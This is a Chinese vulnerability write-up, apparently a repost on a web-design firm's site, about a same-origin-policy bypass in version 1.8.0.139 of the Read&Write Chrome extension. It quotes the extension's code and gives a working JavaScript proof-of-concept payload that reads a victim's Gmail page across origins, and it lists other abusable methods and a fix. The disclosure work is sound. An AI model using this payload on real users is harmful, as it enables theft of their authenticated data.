本篇文章給大家分享的是有關(guān)發(fā)現(xiàn)Chrome瀏覽器閱讀輔助插件SOP繞過漏洞的示例分析,小編覺得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
網(wǎng)站建設(shè)哪家好,找創(chuàng)新互聯(lián)!專注于網(wǎng)頁設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、微信平臺(tái)小程序開發(fā)、集團(tuán)企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了獲嘉免費(fèi)建站歡迎大家使用!
下面講述的是作者發(fā)現(xiàn)谷歌瀏覽器Chrome閱讀輔助插件(Read&Write Chrome extension)1.8.0.139版本同源策略(SOP)繞過漏洞的過程。該漏洞在于Read&Write插件缺少對(duì)正常交互網(wǎng)頁請(qǐng)求源的安全檢查,導(dǎo)致任意網(wǎng)頁都可以調(diào)用Read&Write插件的后臺(tái)特權(quán)頁面API來執(zhí)行多種存在風(fēng)險(xiǎn)的操作。由于該版本插件的在線下載使用量較大,在漏洞上報(bào)前估計(jì)有八百萬用戶受到影響。
比如,利用名為 “thGetVoices”方法的后臺(tái)API調(diào)用方式,可以用插件執(zhí)行一個(gè)任意URL鏈接的檢索,并用postMessage方式來進(jìn)行響應(yīng)通信。通過這種方式的API惡意調(diào)用,攻擊者可以劫持Read&Write插件去讀取一些惡意且未經(jīng)驗(yàn)證的會(huì)話數(shù)據(jù)。
作為驗(yàn)證,作者在文末制作了一個(gè)漏洞利用PoC視頻,在安裝了存在該漏洞的Read&Write插件之后,在進(jìn)行應(yīng)用操作時(shí),可以利用漏洞遠(yuǎn)程讀取到用戶的Gmail郵箱地址信息。在漏洞上報(bào)之后,Read&Write插件開發(fā)方Texthelp公司迅速修復(fù)了漏洞,并于第二天釋出了更新補(bǔ)丁。目前,新版本的Read&Write插件已不存在該漏洞。
Chrome的Read&Write插件利用名為“inject.js”的Google瀏覽器內(nèi)置腳本(Content Script)來向諸如Google Docs在內(nèi)的各種在線文檔頁面插入一個(gè)自定義工具欄,以方便讀者用戶可以利用該插件進(jìn)行文檔讀寫。默認(rèn)情況下,此腳本將會(huì)向所有HTTP和HTTPS源執(zhí)行插入,插件的使用說明中已定義了這一點(diǎn):
...trimmed for brevity... "content_scripts": [ { "matches": [ "https://*/*", "http://*/*" ], "js": [ "inject.js" ], "run_at": "document_idle", "all_frames": true } ], ...trimmed for brevity...
在 “inject.js” 腳本文件中,存在一個(gè)事件監(jiān)聽函數(shù)addEventListener,任何被插入 “inject.js” 腳本文件的交互網(wǎng)頁,如果以“postMessage”方式向插件發(fā)送響應(yīng)消息,都能被該函數(shù)捕獲到:
window.addEventListener("message", this.onMessage)
這個(gè)addEventListener函數(shù)還會(huì)調(diào)用另一個(gè)名為“this.onMessage”的函數(shù),該函數(shù)用于處理任意發(fā)往頁面窗口的postMessage消息:
function onMessage() { void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({ enabledRW4GC: !1 }) : chrome.extension.sendRequest(event.data, function(e) { window.postMessage(e, "*") })) }
postMessage() 方法:window.postMessage() 方法可以安全地實(shí)現(xiàn)跨源通信。通常,對(duì)于兩個(gè)不同頁面的腳本需要具備同源策略才能通信。window.postMessage() 方法被調(diào)用時(shí),會(huì)在所有頁面腳本執(zhí)行完畢之后(e.g., 在該方法之后設(shè)置的事件、之前設(shè)置的timeout 事件,etc.)向目標(biāo)窗口派發(fā)一個(gè) MessageEvent 消息。 該MessageEvent消息有四個(gè)屬性需要注意: message 屬性表示該message 的類型; data 屬性為 window.postMessage 的第一個(gè)參數(shù);origin 屬性表示調(diào)用window.postMessage() 方法時(shí)調(diào)用頁面的當(dāng)前狀態(tài); source 屬性記錄調(diào)用 window.postMessage() 方法的窗口信息。
在上述代碼中,可以看到onMessage()會(huì)把所有接收到的postMessage消息通過“chrome.extension.sendRequest”方法發(fā)送到Read&Write插件的后臺(tái)頁面。另外,對(duì)這些消息的響應(yīng)將傳遞回onMessage()函數(shù),然后再通過其傳遞回Web頁面中去。這個(gè)過程,實(shí)際上就在正常的Web訪問頁面和Read&Write插件后面之間形成了一個(gè)代理機(jī)制。
從Read&Write插件的使用說明中,可以發(fā)現(xiàn)Read&Write插件中存在很多后臺(tái)頁面:
...trimmed for brevity... "background": { "scripts": [ "assets/google-analytics-bundle.js", "assets/moment.js", "assets/thFamily3.js", "assets/thHashing.js", "assets/identity.js", "assets/socketmanager.js", "assets/thFunctionManager.js", "assets/equatio-latex-extractor.js", "assets/background.js", "assets/xmlIncludes/linq.js", "assets/xmlIncludes/jszip.js", "assets/xmlIncludes/jszip-load.js", "assets/xmlIncludes/jszip-deflate.js", "assets/xmlIncludes/jszip-inflate.js", "assets/xmlIncludes/ltxml.js", "assets/xmlIncludes/ltxml-extensions.js", "assets/xmlIncludes/testxml.js" ] }, ...trimmed for brevity...
雖然存在以上這么多后臺(tái)頁面進(jìn)行消息偵聽和函數(shù)調(diào)用,我們選取其中一個(gè)可漏洞利用的即可,我們就來看看頁面 “background.js”吧:
...trimmed for brevity... chrome.extension.onRequest.addListener(function(e, t, o) { ...trimmed for brevity... if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) { if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({ method: "thGetVoices", type: "1757FROM_BGRW4G", payload: { response: g_voices } }); var c = new XMLHttpRequest; c.open("GET", e.payload.url, !0), c.onreadystatechange = function() { 4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({ method: "thGetVoices", type: "1757FROM_BGRW4G", payload: { response: g_voices } })) }, c.send() } ...trimmed for brevity...
上述代碼顯示,“chrome.extension.onRequest” .addListener監(jiān)聽器被觸發(fā)時(shí),其內(nèi)部的“method” 參數(shù)會(huì)被設(shè)置成“thGetVoices”,“type”參數(shù)則被設(shè)置為“1757FROM_PAGERW4G”。如果這個(gè)觸發(fā)事件中的“payload.refresh”參數(shù)為“true” ,則其中的XMLHTTPRequest會(huì)被請(qǐng)求響應(yīng)為代號(hào)為200的狀態(tài)碼。
利用上述方式的惡意調(diào)用,我們能向Read&Write插件的后臺(tái)頁面發(fā)送一個(gè)帶有任意URL鏈接的消息,該消息最終會(huì)通過HTTP方式進(jìn)行響應(yīng),這樣,我們就能通過這種方式讀取用戶cookie信息,從而也可利用任意網(wǎng)頁加載Payload去竊取其它不同Web源中的用戶內(nèi)容。以下就是一個(gè)跨域的信息竊取Payload:
function exploit_get(input_url) { return new Promise(function(resolve, reject) { var delete_callback = false; var event_listener_callback = function(event) { if ("data" in event && event.data.payload.response) { window.removeEventListener("message", event_listener_callback, false); resolve(event.data.payload.response); } }; window.addEventListener("message", event_listener_callback, false); window.postMessage({ type: "1757FROM_PAGERW4G", "method": "thGetVoices", "payload": { "refresh": "true", "url": input_url } }, "*"); }); } setTimeout(function() { exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) { alert("Gmail emails have been stolen!"); alert(response_body); }); }, 1000);
上述Payload代碼顯示,可以利用該漏洞去讀取跨域響應(yīng)信息。這種情況下,我們用Gmail的 “Simple HTML”服務(wù) 來作示例。整個(gè)的漏洞利用方法就比較簡(jiǎn)單直接了:把上面這個(gè)Payload代碼托管在任意網(wǎng)站上,安裝了存在該漏洞的Read&Write插件用戶,只要登錄進(jìn)入Gmail郵箱,我就可以用上述Payload來讀取到用戶的相關(guān)Gmail郵箱內(nèi)信息。整個(gè)過程是通過之前我們說明的,以恰當(dāng)?shù)腜ayload設(shè)置形成postMessage消息,并結(jié)合消息響應(yīng)的事件監(jiān)聽方式來實(shí)現(xiàn)的。由于Read&Write插件會(huì)向所有HTTP和HTTPS的Web頁面執(zhí)行應(yīng)用插入,所以,在 JavaScript Promises 異步編程方式下,可以通過“exploit_get()”函數(shù)能竊取到用戶經(jīng)過認(rèn)證的任意訪問過的頁面數(shù)據(jù)信息(這里假設(shè)無需特殊Header標(biāo)頭,能通過HTTP GET方式進(jìn)行訪問的頁面)
Promise :是異步編程的一種解決方案,比傳統(tǒng)的解決方案——回調(diào)函數(shù)和事件——更合理和更強(qiáng)大。所謂Promise,簡(jiǎn)單說就是一個(gè)容器,里面保存著某個(gè)未來才會(huì)結(jié)束的事件(通常是一個(gè)異步操作)的結(jié)果。從語法上說,Promise 是一個(gè)對(duì)象,從它可以獲取異步操作的消息。Promise 提供統(tǒng)一的 API,各種異步操作都可以用同樣的方法進(jìn)行處理。目前,Promise 已獲得 JavaScript 的原生支持,能很好兼容JavaScript編程應(yīng)用。
雖然上面的示例引用了“thGetVoices”后臺(tái)方法調(diào)用,但這只是這些后臺(tái)頁面API調(diào)用時(shí)出現(xiàn)的一種漏洞利用方式。除了使用這種調(diào)用之外,還存在其它一些可以利用的漏洞方法:
如攻擊者還能利用 “thExtBGAjaxRequest” 方法,結(jié)合參數(shù)來執(zhí)行“application/x-www-form-urlencoded;charset=UTF-8” 這類型任意的POST請(qǐng)求,并讀取消息響應(yīng)內(nèi)容
還有,攻擊者也能利用 “OpenTab”方法來打開大量網(wǎng)頁標(biāo)簽來限制用戶的Web頁面訪問
該漏洞為一種常見瀏覽器插件安全隱患,谷歌的 Chrome 瀏覽器為了更方便地與插件API之間進(jìn)行通信交互,插件在功能上就無形在自身后臺(tái)服務(wù)和正常訪問的Web頁面之間形成了一條代理通道,主要原因在于很多 Chrome 插件開發(fā)者在開發(fā)階段,缺乏對(duì)潛在敏感功能的調(diào)用請(qǐng)求源進(jìn)行安全檢查。這種情況下,一種理想的解決方法就是把大部份邏輯處理操作放到Content Script中去,不用postMessage方式調(diào)用,而由事件偵聽函數(shù)按照API isTrusted屬性的適當(dāng)驗(yàn)證來進(jìn)行觸發(fā)。這樣可以確保所有調(diào)用都是由用戶操作觸發(fā)的,而不是攻擊者偽造的。
由于時(shí)區(qū)原因,時(shí)間上可能有些出入,Texthelp在愛爾蘭的開發(fā)團(tuán)隊(duì)其實(shí)在6月2號(hào)就收到漏洞,然后在6月3號(hào)就修復(fù)了漏洞。只是補(bǔ)丁在6月4號(hào)釋出,整個(gè)漏洞響應(yīng)修復(fù)周期非常及時(shí)。
以上就是發(fā)現(xiàn)Chrome瀏覽器閱讀輔助插件SOP繞過漏洞的示例分析,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見到或用到的。希望你能通過這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
名稱欄目:發(fā)現(xiàn)Chrome瀏覽器閱讀輔助插件SOP繞過漏洞的示例分析
轉(zhuǎn)載注明:http://jinyejixie.com/article14/jjidde.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供靜態(tài)網(wǎng)站、定制開發(fā)、網(wǎng)站排名、App設(shè)計(jì)、網(wǎng)站導(dǎo)航、動(dòng)態(tài)網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)